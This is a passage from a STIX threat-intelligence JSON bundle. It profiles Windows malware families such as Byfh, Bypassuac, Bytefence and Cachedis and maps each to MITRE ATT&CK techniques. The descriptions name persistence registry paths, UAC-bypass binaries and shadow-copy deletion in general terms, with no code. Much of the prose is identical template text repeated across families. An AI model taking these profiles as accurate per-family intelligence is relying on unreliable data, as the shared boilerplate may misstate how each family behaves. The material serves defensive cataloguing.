      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4fe023c0-b87a-5373-9f6e-403e4cf46e79",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bybz exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c92724bc-43cc-55e2-9fb3-4f6cdebaf97c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4fe023c0-b87a-5373-9f6e-403e4cf46e79",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bybz exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c01ab68d-b9a1-5908-ad9e-8971c4d55288",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4fe023c0-b87a-5373-9f6e-403e4cf46e79",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bybz exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--db0fb6b6-d4a6-5d0e-896c-e5816081c772",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Byfh",
      "description": "Byfh (tracked as Trojan:Win32/Byfh!rfn, Trojan.Byfh, and Adware:Win32/Byfh) is a persistent Windows trojan downloader and monetization platform analyzed by Microsoft Security Intelligence, Sophos, and Trend Micro. Positioned at the intersection of aggressive adware and malware staging loaders, Byfh enters host systems via deceptive software bundlers, pirated software cracks, and bogus application updates. Once installed, Byfh establishes persistence by creating Windows Scheduled Tasks and registering startup Run keys under HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run. The malware injects advertising hooks into installed web browsers, forcibly redirects search engine traffic to affiliate monetization networks, and creates background communication channels to download secondary trojan droppers and spyware components without user consent. (Observed samples in benchmark: 593)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Byfh!rfn",
        "Trojan.Byfh",
        "Win32/Byfh",
        "Adware:Win32/Byfh",
        "Trojan:Win32/Byfh.A"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Byfh",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/byfh"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--df2f28a7-817f-5f7e-bf8d-cf0a77f51c16",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--db0fb6b6-d4a6-5d0e-896c-e5816081c772",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Byfh exhibits technique T1185 (Browser Session Hijacking)."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--d52d47c8-1179-5476-95ef-decb6e322680",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1556: Modify Authentication Process",
      "description": "MITRE ATT&CK Technique T1556 (Modify Authentication Process) under tactic Credential Access.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1556",
          "url": "https://attack.mitre.org/techniques/T1556/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1165a2e9-66e9-57ee-b9f6-ba24b60e96ac",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--db0fb6b6-d4a6-5d0e-896c-e5816081c772",
      "target_ref": "attack-pattern--d52d47c8-1179-5476-95ef-decb6e322680",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Byfh exhibits technique T1556 (Modify Authentication Process)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--95f43f7b-1f31-58f5-ab56-17703c5b6755",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--db0fb6b6-d4a6-5d0e-896c-e5816081c772",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Byfh exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c05c9f17-1b2e-532e-9557-fe5003facae8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--db0fb6b6-d4a6-5d0e-896c-e5816081c772",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Byfh exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--946c9a32-6522-56bd-90df-44103dbe562e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--db0fb6b6-d4a6-5d0e-896c-e5816081c772",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Byfh exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--74b9a5ea-2bc2-5b7e-9c72-c38ef906ac27",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Bypass",
      "description": "Bypass (classified in antivirus detection telemetry under designations including PWS:Win32/Bypass, PWS.Win32.Bypass, and Win32/Bypass) is a dedicated information theft malware engineered to harvest stored credentials, browser session cookies, cryptocurrency wallets, and keystrokes. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Bypass executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include credential database extraction, API hooking, system discovery, and encrypted C2 exfiltration. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "spyware",
        "credential-stealer"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "HackTool.Bypass",
        "Exploit.UACBypass",
        "Tool.Evasion",
        "Riskware.Bypass",
        "PWS:Win32/Bypass",
        "PWS.Win32.Bypass",
        "Win32/Bypass"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Bypass",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/bypass"
        }
      ],
      "labels": [
        "infostealer",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ccbeeb6f-e649-5afb-813c-de24b7141581",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--74b9a5ea-2bc2-5b7e-9c72-c38ef906ac27",
      "target_ref": "attack-pattern--2a9b7a70-b49c-5ee1-bc63-636b409c46ff",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bypass exhibits technique T1548.002 (Abuse Elevation Control Mechanism: Bypass User Account Control)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--125f209f-da7e-57f0-944c-a9c9cc0e5405",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--74b9a5ea-2bc2-5b7e-9c72-c38ef906ac27",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bypass exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e89bdc1b-19a4-562f-bf7c-44b94b89b10e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--74b9a5ea-2bc2-5b7e-9c72-c38ef906ac27",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bypass exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--7b38c3d0-83cb-5da8-96a5-a99a8a809b9f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Bypassuac",
      "description": "BypassUAC (cataloged across security telemetry under detections including HackTool:Win32/BypassUAC, Behavior:Win32/BypassUAC, and Trojan:Win32/BypassUAC) represents a pervasive class of privilege escalation hacktools and exploit scripts designed to bypass the Windows User Account Control (UAC) security boundary. Active in malware campaigns and post-exploitation frameworks since 2015, BypassUAC tools abuse auto-elevating Windows binaries and Component Object Model (COM) interfaces\u2014such as fodhelper.exe, sdclt.exe, eventvwr.exe, computerdefaults.exe, and slui.exe\u2014that run with elevated administrative privileges without displaying an interactive user consent dialog. By manipulating registry keys (such as HKCU\\Software\\Classes\\ms-settings\\Shell\\Open\\command) or hijacking environment variables and DLL search orders, BypassUAC allows an adversary operating in a medium-integrity user context to execute arbitrary malicious binaries silently at high integrity (local Administrator). This silent elevation enables malware to disable Windows Defender, deploy kernel rootkits, and extract domain credentials from LSASS memory. (Observed samples in benchmark: 145)",
      "is_family": true,
      "malware_types": [
        "exploit-kit"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "HackTool:Win32/BypassUAC",
        "Behavior:Win32/BypassUAC",
        "Trojan:Win32/BypassUAC",
        "Tool:Win32/BypassUAC",
        "Win32/BypassUAC"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Bypassuac",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/bypassuac"
        }
      ],
      "labels": [
        "hacktool",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--64339fdd-d618-50fc-86c0-1c3c18a1f1ea",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7b38c3d0-83cb-5da8-96a5-a99a8a809b9f",
      "target_ref": "attack-pattern--2a9b7a70-b49c-5ee1-bc63-636b409c46ff",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bypassuac exhibits technique T1548.002 (Abuse Elevation Control Mechanism: Bypass User Account Control)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8bf6eab6-d9e1-506f-825c-0a07d8c89692",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7b38c3d0-83cb-5da8-96a5-a99a8a809b9f",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bypassuac exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ad764ae5-f924-5f1e-b704-a4d41f5b6d37",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7b38c3d0-83cb-5da8-96a5-a99a8a809b9f",
      "target_ref": "attack-pattern--4cac5ad8-9b35-5105-99ec-b9d2404aa582",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bypassuac exhibits technique T1574.001 (Hijack Execution Flow: DLL Search Order Hijacking)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--eb393142-fd8e-5948-be20-9f9c450783e8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7b38c3d0-83cb-5da8-96a5-a99a8a809b9f",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bypassuac exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--699eacf7-5127-581d-b408-6d98e4702d2d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7b38c3d0-83cb-5da8-96a5-a99a8a809b9f",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bypassuac exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--2fdf9008-c3da-5c8d-b123-d24cb7815614",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Bytefence",
      "description": "Bytefence (classified in antivirus detection telemetry under designations including Trojan:Win32/Bytefence, Trojan.Win32.Bytefence, and Win32/Bytefence) is a multi-stage trojan engineered to disguise itself as legitimate software, execute unauthorized commands, and coordinate with external command-and-control infrastructure. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Bytefence executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include deceptive executable masquerading, registry run key autostart, system telemetry gathering, and remote C2 beaconing. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 11)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Bytefence",
        "Trojan.Win32.Bytefence",
        "Win32/Bytefence"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Bytefence",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/bytefence"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2cb92dd0-b7d3-50fe-abb3-6c5531f83675",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2fdf9008-c3da-5c8d-b123-d24cb7815614",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bytefence exhibits technique T1189 (Drive-by Compromise (Bundled Installers))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--00f2a116-f236-50c8-b279-1e22fcf14c3b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2fdf9008-c3da-5c8d-b123-d24cb7815614",
      "target_ref": "attack-pattern--c79f8b9c-f6e3-550e-85cc-41fb2ac75634",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bytefence exhibits technique T1491 (Defacement (Displaying fake security warnings / Scareware))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--02b82931-51e9-5ce4-bf63-4491dd278a4a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2fdf9008-c3da-5c8d-b123-d24cb7815614",
      "target_ref": "attack-pattern--811b0131-eca0-5e7e-a296-b88d7ece01bd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bytefence exhibits technique T1543.003 (Create or Modify System Process: Windows Service)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--38e2555b-1468-5d03-aa39-534c48b69c2e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2fdf9008-c3da-5c8d-b123-d24cb7815614",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bytefence exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a2305cf1-e325-55f3-9b65-fd650f34c605",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2fdf9008-c3da-5c8d-b123-d24cb7815614",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bytefence exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--4de868ef-fb4a-53d3-b95f-b89346e77f8a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Bzub",
      "description": "Bzub (classified in antivirus detection telemetry under designations including Trojan:Win32/Bzub, Trojan.Win32.Bzub, and Win32/Bzub) is a multi-stage trojan engineered to disguise itself as legitimate software, execute unauthorized commands, and coordinate with external command-and-control infrastructure. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Bzub executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include deceptive executable masquerading, registry run key autostart, system telemetry gathering, and remote C2 beaconing. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 4)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Bzub",
        "Trojan.Win32.Bzub",
        "Win32/Bzub"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Bzub",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/bzub"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2c1351de-a1f6-565c-ba9a-283f9852e805",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4de868ef-fb4a-53d3-b95f-b89346e77f8a",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bzub exhibits technique T1185 (Browser Session Hijacking (Man-in-the-Browser / Web Injects))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--669a8977-ec22-5e7f-898c-3c919d9a2108",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4de868ef-fb4a-53d3-b95f-b89346e77f8a",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bzub exhibits technique T1055 (Process Injection (Injecting into browser processes))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5c40726b-d5b7-5f50-98ce-4884a639c708",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4de868ef-fb4a-53d3-b95f-b89346e77f8a",
      "target_ref": "attack-pattern--87ff6f4d-2443-560e-9936-9f380887aee1",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bzub exhibits technique T1555.003 (Credentials from Password Stores: Credentials from Web Browsers)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b36c74a5-bc9a-5af3-8540-5d21e22a95f9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4de868ef-fb4a-53d3-b95f-b89346e77f8a",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bzub exhibits technique T1547.001 (Boot or Logon Autostart Execution)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--0b67d3d4-2ed5-5291-87c5-b2e61f984374",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Caae34Dd",
      "description": "Caae34Dd (classified in antivirus detection telemetry under designations including Ransom:Win32/Caae34Dd, Ransom.Win32.Caae34Dd, and Win32/Caae34Dd) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Caae34Dd executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Obfuscated.Gen",
        "Dropper.RandomHash",
        "Win32/Trojan.Packer",
        "Ransom:Win32/Caae34Dd",
        "Ransom.Win32.Caae34Dd",
        "Win32/Caae34Dd"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Caae34Dd",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/caae34dd"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5a3c4232-5e8c-5f72-8e1b-b5b5523327cb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0b67d3d4-2ed5-5291-87c5-b2e61f984374",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Caae34Dd exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--99f96146-fe7d-5717-8c93-2c181bbcffd0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0b67d3d4-2ed5-5291-87c5-b2e61f984374",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Caae34Dd exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--32a50fd5-4df2-5334-9b7f-06217b954022",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0b67d3d4-2ed5-5291-87c5-b2e61f984374",
      "target_ref": "attack-pattern--cfa68380-6a50-515d-86b2-2791a2479e2c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Caae34Dd exhibits technique T1055.002 (Process Injection: Portable Executable Injection)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--bdddd6af-dc35-52f3-95fe-fd563164ed82",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Cachedis",
      "description": "Cachedis (classified in antivirus detection telemetry under designations including Ransom:Win32/Cachedis, Ransom.Win32.Cachedis, and Win32/Cachedis) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Cachedis executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Cachedis",
        "Downloader.Cachedis",
        "Win32/Cachedis",
        "Ransom:Win32/Cachedis",
        "Ransom.Win32.Cachedis"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Cachedis",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/cachedis"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0db9e7b5-ddfc-56e0-99bd-9e4eebd39d57",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bdddd6af-dc35-52f3-95fe-fd563164ed82",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cachedis exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5cabeb7f-bf3d-59e5-9372-a321bbd1db67",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bdddd6af-dc35-52f3-95fe-fd563164ed82",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cachedis exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--264d40f7-d8cb-577b-bf69-a3bdd0bb900e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bdddd6af-dc35-52f3-95fe-fd563164ed82",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
